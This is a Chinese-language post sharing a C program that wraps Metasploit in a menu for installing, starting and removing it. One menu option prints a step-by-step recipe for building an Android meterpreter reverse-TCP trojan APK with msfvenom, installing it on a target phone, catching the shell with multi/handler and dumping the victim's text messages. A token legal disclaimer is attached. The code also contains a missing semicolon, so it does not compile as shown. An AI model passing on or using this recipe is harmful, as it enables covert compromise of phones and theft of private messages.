**不多说,直接上代码
因为本懒人不会SHELL语言,所以使用C语言编写,其效果跟SHELL一样。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main( int argc, char *argv[] )
{
system("apt-get install sl");
system("sl");
system("clear");
for( ;; )
{
printf("\n\n\n\n");
printf("\t\t\033[;31;1m欢迎使用本MSF管理工具\n");
printf("\t-------------------------------------\n");
printf("\t\t[1]启动metasploit(MSF)\n");
printf("\t\t[2]安装metasploit(MSF)\n");
printf("\t\t[3]卸载metasploit(MSF)\n");
printf("\t\t[4]打开MSF手册\n");
printf("\t\t[5]使用MSF攻击Android\n");
printf("\t\t[6]关于作者介绍\n")
printf("\t\t[0]退出MSF管理工具\n");
printf("\t-------------------------------------\n");
printf("\033[;34;1m请选择>");
int sinput;
scanf("%d", &sinput);
if( sinput == 1 )
{
printf("如果启动失败,请安装或重装MSF\n启动时请等待,勿放弃\n");
system("msfconsole");
}
else if( sinput == 2 )
{
printf("Metasploit-Framework安装后会占用大于800MB的空间,请确认后再安装\n");
system("apt-get install metasploit-framework");
}
else if( sinput == 3 )
{
system("apt-get remove metasploit-framework");
}
else if( sinput == 4 )
{
system("apt-get install man");
system("apt-get install metasploit-framework");
system("man msfconsole");
}
else if( sinput == 5 )
{
printf("本工具将教你怎样使用MSF入 侵Android,但切记勿非法使用,遵守中国网络安全法!\n");
printf("正在进入教程...\n");
printf("1.在终端输入\"ifconfig\"查看自己IP\n");
system("sleep 3");
printf("2.输入\"msfvenom -p android/meterpreter/reverse_tcp LHOST=自己的IP LPORT=5555 R > /root/apk.apk\"\n");
system("sleep 3");
printf("3.把生成的木马(apk.apk)进 行签名并安装到要被攻击手机上\n");
system("sleep 3");
printf("4.输入\"msfconsole\"\n");
system("sleep 3");
printf("5.在MSF中输入\"use exploit/multi/handler\",\"set payload android/meterpreter/reverse_tcp\"\n");
system("sleep 3");
printf("6.在MSF中输入\"set LHOST 自己的IP\"\n");
system("sleep 3");
printf("7.在MSF中输入\"set LPORT 5555\"\n");
system("sleep 3");
printf("8.输入\"run\"或\"exploit\"开始攻击\n");
system("sleep 3");
printf("9.攻击成功后输入\"help\"查看更多命名,如\"dump_sms\"即可获得短信信息...\033[;0m\n");
while( getchar() != '\n' )
{
continue;
}
}
else if( sinput == 6 )
{
printf("作者:Li Pinhong\n性别:男\n年龄:未知\n由于本人不会SHELL语言,所以使用C语言编写,做的不 好请见谅,谢谢\n");
}
else if( sinput == 0 )
{
exit(0);
}
}
return 0;
}